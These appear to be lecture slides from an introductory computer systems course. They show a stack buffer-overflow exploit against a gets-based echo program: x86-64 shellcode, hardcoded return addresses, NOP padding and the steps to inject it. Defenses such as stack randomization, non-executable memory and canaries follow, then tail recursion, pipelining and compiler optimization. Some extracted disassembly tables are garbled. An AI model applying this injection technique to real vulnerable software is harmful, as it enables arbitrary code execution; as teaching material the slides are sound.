CS 33

Machine Programming (6)

CS33 Intro to Computer Systems

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Exploit Attempt 1

```
exploit: # assume start address is 0x7fffffffe948
 subq $8, %rsp # needed for syscall instructions
 movl $14, %edx # length of string
 movq $0x7ffffffe973, %rsi # address of output string
 movl $1, %edi  # write to standard output
 movl $1, %eax # do a "write" system call
 syscall
 movl $0, %edi # argument to exit is 0
 movl $60, %eax # do an "exit" system call
 syscall
str:
.string "hacked by twd\n"
 nop J
 nop - 23 no-ops
 nop J
.quad 0x7ffffffe948
.byte '\n'
```

Objdump Output

Disassembly of section .text:

000000000000000 <exploit>:

<pre>4: ba 0e 00 00 00 mov \$0xe, %edx 9: 48 be 73 e9 ff ff ff 10: 7f 00 00 13: bf 01 00 00 00 mov \$0x1, %edi 18: b8 01 00 00 00 mov \$0x1, %edi 18: b8 01 00 00 00 mov \$0x1, %eax 1d: 0f 05 syscall 1f: bf 00 00 00 00 mov \$0x3c, %eax 29: 0f 05 big problem! 000000000002b <str>: 2b: 68 61 63 6b 65 pushq \$0x656b6361</str></pre>	0:	48	83	ес	8 0					sub	\$0x8,%rsp
10: 7f 00 00 13: bf 01 00 00 00 18: b8 01 00 00 00 16: 0f 05 1f: bf 00 00 00 00 24: b8 3c 00 00 00 29: 0f 05 00000000000002b <str> 29: 0f 05 2b: 68 61 63 6b 65</str>	4:	ba	0e	00	00	00				mov	\$0xe,%edx
13: bf 01 00 00 00 mov \$0x1,%edi 18: b8 01 00 00 00 mov \$0x1,%eax 1d: 0f 05 syscall 1f: bf 00 00 00 00 mov \$0x0,%edi 24: b8 3c 00 00 00 mov \$0x3c,%eax 29: 0f 05 syscall 000000000000000000000000000000000000	9:	48	be	73	e9	ff	ff	ff		movabs	\$0x7fffffffe973,%rsi
18: b8 01 00 00 00 mov \$0x1, %eax 1d: 0f 05 syscall 1f: bf 00 00 00 00 mov \$0x0, %edi 24: b8 3c 00 00 00 mov \$0x3c, %eax 29: 0f 05 syscall 000000000000000000000000000000000000	10:	7f	00	00							
1d: 0f 05 syscall 1f: bf 00 00 00 00 mov \$0x0,%edi 24: b8 3c 00 00 00 mov \$0x3c,%eax 29: 0f 05 syscall 000000000000000000000000000000000000	13:	bf	01	00	00	00				mov	\$0x1,%edi
1f: bf 00 00 00 00 mov \$0x0,%edi 24: b8 3c 00 00 00 mov \$0x3c,%eax 29: 0f 05 big problem! 000000000000002b <str> 2b: 68 61 63 6b 65 pushq \$0x656b6361</str>	18:	b8	01	00	00	00				mov	\$0x1,%eax
24: b8 3c 00 00 00 mov \$0x3c,%eax 29: 0f 05 big problem! 0000000000002b <str>: 2b: 68 61 63 6b 65 pushq \$0x656b6361</str>	1d:	0f	05							syscall	-
29: 0f 05 big problem! 000000000000000000000000000000000000	1f:	bf	00	00	00	00				mov	\$0x0,%edi
big problem! 000000000000000000000000000000000000	24:	b8	Зc	00	00	00				mov	\$0x3c,%eax
0000000000002b <str>: 2b: 68 61 63 6b 65 pushq \$0x656b6361</str>	29:	0f	05							syscall	
2b: 68 61 63 6b 65 pushq \$0x656b6361									DIG	proble	em!
	00000000	0000	000)2b	<st< td=""><td>r>:</td><td></td><td></td><td></td><td></td><td></td></st<>	r>:					
	2b:	68	61	63	6b	65				pushq	\$0x656b6361
30: 64 20 62 79 and %ah,%fs:0x/9(%rdx)	30:	64	20	62	79					and	%ah,%fs:0x79(%rdx)
34: 20 74 77 64 and %dh,0x64(%rdi,%rsi,2)	34:	2.0	74	77	64					and	%dh,0x64(%rdi,%rsi,2)
38: (0a) 00 or (%rax),%al	38:	(0a)	00							or	(%rax),%al

\$0x8,%rsp \$0xe,%edx \$0x7fffffffe973,%rsi \$0x1,%edi \$0x1,%eax \$0x0,%edi \$0x3c,%eax m! \$0x656b6361 %ah,%fs:0x79(%rdx)


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Actual Object Code (Hex)

ba Oe e9 ff ec 08 be ff ff 7f bf b8 0f bf Зc 0f 0.0b8 6b **0a** 00 90 90 e9 ff ff ff 7f **0**a

Exploit Attempt 2



Actual Object Code, part 1

Disassembly of section .text:

000000000000000 <exploit>:

	0:	48	83	ес	8 0				sub	\$0x8,%rsp
	4:	b2	09						mov	\$0x9,%dl
	6:	80	с2	01					add	\$0x1,%dl
	9:	48	be	90	e9	ff	ff	ff	movabs	\$0x7ffffffe990,%rsi
]	L0:	7f	00	00						
]	L3:	88	16						mov	%dl,(%rsi)
]	L5:	ba	0e	00	00	00			mov	\$0xe,%edx
]	la:	48	be	84	e9	ff	ff	ff	movabs	\$0x7ffffffe984,%rsi
2	21:	7f	00	00						
Ź	24:	bf	01	00	00	00			mov	\$0x1,%edi
	29:	b8	01	00	00	00			mov	\$0x1,%eax
2	2e:	0f	05						syscall	L
	30:	bf	00	00	00	00			mov	\$0x0,%edi
	35:	b8	Зc	00	00	00			mov	\$0x3c,%eax
	Ba:	0f	05						syscall	L
			•							

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Actual Object Code, part 2

00000000000003c <str>: 3c: 68 61 63 6b 65 41: 64 20 62 79 45: 20 74 77 64 49: 00 90 90 90 90 90 4f: 90 50: 48 e9 ff ff ff 7f 56: 00 00 58: 0a

pushq and and	\$0x656b6361 %ah,%fs:0x79(%rdx) %dh,0x64(%rdi,%rsi,2)
add	%dl,-0x6f6f6f70(%rax)
nop	
jmpq	8000005c <str+0x80000020></str+0x80000020>
add	%al,(%rax)
.byte	0xa

Improved Object Code (Hex)

48 83 ec 08 b2 09 80 c2 01 48 be 90 e9 ff ff ff 7f 00 88 16 ba 0e 00 00 00 be 84 e9 ff ff 7f bf 01 b8 0f ff b8 3c 00 0f bf 6b 90 90 48 e9 ff ff ff 7f 00 **0a**

Using the Exploit

- 1) Assemble the code
 - gcc –c exploit.s
- 2) disassemble it

objdump -d exploit.o > exploit.txt

3) edit object.txt

(see next slide)

4) Convert to raw and input to exploitee

cat exploit.txt | ./hex2raw | ./echo

Unedited exploit.txt

Disassembly of section .text:

000000000000000 <exploit>:

0:	48	83	ес	08			
4:	b2	09					
6:	80	c2	01				
9:	48	be	90	e9	ff	ff	ff
10:	7f	00	00				
13:	88	16					
15:	ba	0e	00	00	00		
1a:	48	be	84	e9	ff	ff	ff
21:	7f	00	00				
24:	bf	01	00	00	00		
29:	b8	01	00	00	00		
2e:	0f	05					
30:	bf	00	00	00	00		
35:	b8	Зc	00	00	00		
3a:	0f	05					

sub	\$0x8,%rsp
mov	\$0x9,%dl
add	\$0x1,%dl
movabs	<pre>\$0x7fffffffe990,%rsi</pre>

mov	%dl,(%rsi)
mov	\$0xe,%edx
movabs	\$0x7fffffffe984,%rsi

```
mov $0x1,%edi
mov $0x1,%eax
syscall
mov $0x0,%edi
mov $0x3c,%eax
syscall
```

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Edited exploit.txt

```
$0x8,%rsp */
                    /* sub
                  /* mov $0x9,%dl */
                  /* add $0x1,%dl */
48 be 90 e9 ff ff ff /* movabs $0x7fffffffe990, %rsi */
                  /* mov %dl,(%rsi) */
ba 0e 00 00 00 /* mov $0xe, %edx */
48 be 84 e9 ff ff ff /* movabs $0x7fffffffe984, %rsi */
                    /* mov $0x1,%edi */
             /* mov $0x1,%eax */
                    /* syscall */
                  /* mov $0x0,%edi */
            /* mov $0x3c,%eax */
                    /* syscall */
```

Quiz 1

```
int main() {
    char buf[80];
    gets(buf);
    puts(buf);
    return 0;
}
```

```
main:
    subq $88, %rsp # grow stack
    movq %rsp, %rdi # setup arg
    call gets
    movq %rsp, %rdi # setup arg
    call puts
    movl $0, %eax # set return value
    addq $88, %rsp # pop stack
    ret
```


Exploit Code (in C):

```
void exploit() {
   write(1, "hacked by twd\n", 15);
   exit(0);
}
```

The exploit code is executed:

- a) on return from main
- b) before the call to <u>gets</u>
- c) before the call to <u>puts</u>, but after <u>gets</u> returns

Example



Defense!

- Don't use gets!
- Make it difficult to craft exploits
- Detect exploits before they can do harm

System-Level Protections

Randomized stack offsets

- at start of program, allocate random amount of space on stack
- makes it difficult for hacker to predict beginning of inserted code

Non-executable code segments


- in traditional x86, can mark region of memory as either "read-only" or "writeable"
 - » can execute anything readable
- modern hardware requires explicit "execute" permission

```
unix> gdb echo
(gdb) break echo
(gdb) run
(gdb) print /x $rsp
$1 = 0x7fffffffc638
(gdb) run
(gdb) print /x $rsp
$2 = 0x7ffffffbb08
(gdb) run
(gdb) run
(gdb) print /x $rsp
$3 = 0x7ffffffc6a8
```

Stack Randomization

We don't know exactly where the stack is


- buffer is 2000 bytes long
- the start of the buffer might be anywhere between 7000 and 8000



NOP Slides

- NOP (No-Op) instructions do nothing
 - they just increment %rip to point to the next instruction
 - they are each one-byte long
 - a sequence of n NOPs occupies n bytes
 - » if executed, they effectively add n to %rip
 - » execution "slides" through them

NOP Slides and Stack Randomization



Stack Canaries

• Idea



- place special value ("canary") on stack just beyond buffer
- check for corruption before exiting function
- gcc implementation
 - -fstack-protector
 - -fstack-protector-all

unix>./echo-protected Type a string:1234 1234

unix>./echo-protected
Type a string:12345
*** stack smashing detected ***


Protected Buffer Disassembly

0000000000011	55 <echo>:</echo>	
1155:	55	push %rbp
1156:	48 89 e5	mov %rsp,%rbp
1159:	48 83 ec 10	sub \$0x10,%rsp
115d:	64 48 8b 04 25 28 00	mov %fs:0x28,%rax
1164:	00 00	
1166:	48 89 45 f8	mov %rax,-0x8(%rbp)
116a:	31 c0	xor %eax,%eax
116c:	48 8d 45 f4	<pre>lea -0xc(%rbp),%rax</pre>
1170:	48 89 c7	mov %rax,%rdi
1173:	Ь8 00 00 00 00	mov \$0x0,%eax
1178:	e8 d3 fe ff ff	callq 1050 <gets@plt></gets@plt>
117d:	48 8d 45 f4	<pre>lea -0xc(%rbp),%rax</pre>
1181:	48 89 c7	mov %rax,%rdi
1184:	e8 a7 fe ff ff	callq 1030 <puts@plt></puts@plt>
1189:	ь8 00 00 00 00	mov \$0x0,%eax
118e:	48 8b 55 f8	mov -0x8(%rbp),%rdx
1192:	64 48 33 14 25 28 00	xor %fs:0x28,%rdx
1199:	00 00	
119b:	74 05	je 11a2 <main+0x4d></main+0x4d>
119d:	e8 9e fe ff ff	callq 1040 <stack_chk_fail@plt></stack_chk_fail@plt>
11a2:	c9	leaveq
11a3:	c3	retq


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Setting Up Canary



Checking Canary



Tail Recursion

```
int factorial(int x) {
    if (x == 1)
        return x;
    else
        return
        x*factorial(x-1);
}
```

```
int factorial(int x) {
   return f2(x, 1);
}
```

```
int f2(int a1, int a2) {
    if (a1 == 1)
        return a2;
    else
        return
        f2(a1-1, a1*a2);
}
```

No Tail Recursion (1)

x: 6
return addr
x: 5
return addr
x: 4
return addr
x: 3
return addr
x: 2
return addr
x: 1
return addr

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
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No Tail Recursion (2)

ret:	x: 6
	return addr
ret:	x: 5
	return addr
ret	x: 4
	return addr
re	x: 3
	return addr
re	x: 2
	return addr
re	x: 1
	return addr

ret: 720
ret: 120
ret: 24
ret: 6
ret: 2
ret: 1

Tail Recursion



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Code: gcc –O1

f2:

movl	%esi, %eax
cmpl	\$1, %edi
je	.L5
subq	\$8, %rsp
movl	%edi, %esi
imull	%eax, %esi
subl	\$1, %edi
call	f2 # recursive call!
addq	\$8, %rsp
rep	
ret	

.L5:

Code: gcc –O2

f	2	•	
T	2	•	

	cmpl	\$1, %edi	
	movl	%esi, %eax	
	je	.L8	
.L12:			
	imull	%edi, %eax	
	subl	\$1, %edi	– loop!
	cmpl	\$1, %edi	
	jne	.L12	
.L8:			
	rep		
	ret		

Computer Architecture and Optimization (1)

What You Need to Know to Write Better Code

Simplistic View of Processor

while (true) { instruction = mem[rip]; execute(instruction);


}

Some Details ...

void execute(instruction_t instruction) {
 decode(instruction, &opcode, &operands);
 fetch(operands, &in_operands);
 perform(opcode, in_operands, &out_operands);
 store(out_operands);

Pipelines

Decode Fe	etch Perform	Store	Decode	Fetch	Perform	Store
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
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Analysis

- Not pipelined
 - each instruction takes, say, 3.2 nanoseconds
 - » 3.2 ns latency
 - 312.5 million instructions/second (MIPS)
- Pipelined
 - each instruction still takes 3.2 ns
 - » latency still 3.2 ns
 - an instruction completes every .8 ns
 - » 1.25 billion instructions/second (GIPS) throughput

Hazards ...




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Data Hazards

addq 12(%rbx), %rax addq \$20, %rax movq 40(%rax), %rsp



Coping

Decode	12(%rbx), %rax	addq	%rax
	Decode		
		Decode	

\$20, %rax	addq	%rax
---------------	------	------

40(%rax) movq


Control Hazards

movl \$0, %ecx
.L2:
movl %edx, %eax
andl \$1, %eax
addl %eax, %ecx
shrl \$1, %edx
jne .L2 # what goes in the pipeline?
movl %ecx, %eax

• • •

Coping: Guess ...

- Branch prediction
 - assume, for example, that conditional branches are always taken
 - but don't do anything to registers or memory until you know for sure



Performance Realities

There's more to performance than asymptotic complexity

Constant factors matter too!

- easily see 10:1 performance range depending on how code is written
- must optimize at multiple levels:
 - » algorithm, data representations, functions, and loops
- Must understand system to optimize performance
 - how programs are compiled and executed
 - how to measure program performance and identify bottlenecks
 - how to improve performance without destroying code modularity and generality

Optimizing Compilers

- Provide efficient mapping of program to machine
 - register allocation
 - code selection and ordering (scheduling)
 - eliminating minor inefficiencies
- Don't (usually) improve asymptotic efficiency
 - up to programmer to select best overall algorithm
 - big-O savings are (often) more important than constant factors
 - » but constant factors also matter
- Have difficulty overcoming "optimization blockers"
 - potential memory aliasing
 - potential function side-effects

Limitations of Optimizing Compilers

- Operate under fundamental constraint
 - must not cause any change in program behavior
 - often prevents it from making optimizations that would only affect behavior under pathological conditions
- Behavior that may be obvious to the programmer can be obfuscated by languages and coding styles
 - e.g., data ranges may be more limited than variable types suggest
- Most analysis is performed only within functions
 - whole-program analysis is too expensive in most cases
- Most analysis is based only on *static* information
 - compiler has difficulty anticipating run-time inputs
- When in doubt, the compiler must be conservative

Generally Useful Optimizations

 Optimizations that you or the compiler should do regardless of processor / compiler

Code Motion


- reduce frequency with which computation performed
 - » if it will always produce same result
 - » especially moving code out of loop

Reduction in Strength

- Replace costly operation with simpler one
- Shift, add instead of multiply or divide


16*x --> x << 4

- utility is machine-dependent
- depends on cost of multiply or divide instruction
 - » on some Intel processors, multiplies are 3x longer than adds
- Recognize sequence of products



Share Common Subexpressions

- Reuse portions of expressions
- Compilers often not very sophisticated in exploiting arithmetic properties



3 multiplications: i*n, (i–1)*n, (i+1)*n

<pre>long inj = i*n + j;</pre>
up = val[inj - n];
down = val[inj + n];
left = val[inj - 1];
right = val[inj + 1];
<pre>sum = up + down + left + right;</pre>

1 multiplication: i*n

leaq	l(%rsi), %rax	# i+1
leaq	-1(%rsi), %r8	# i-1
imulq	%rcx, %rsi	# i*n
imulq	<pre>%rcx, %rax</pre>	# (i+1)*n
imulq	%rcx, %r8	# (i-1)*n
addq	%rdx, %rsi	# i*n+j
addq	%rdx, %rax	# (i+1)*n+j
addq	%rdx, %r8	# (i-1)*n+j

imulq	<pre>%rcx,</pre>	% rs i	#	i*n	
addq	%rdx,	% rsi	#	i*n+j	
movq	% rsi ,	% rax	#	i*n+j	
subq	<pre>%rcx,</pre>	% rax	#	i*n+j-	n
leaq	(% rs i,	%rcx),	Ş	rcx #	i*n+j+n

Quiz 2

The fastest means for evaluating

```
n*n + 2*n + 1
```

requires exactly:

- a) 2 multiplies and 2 additions
- b) three additions
- c) one multiply and two additions
- d) one multiply and one addition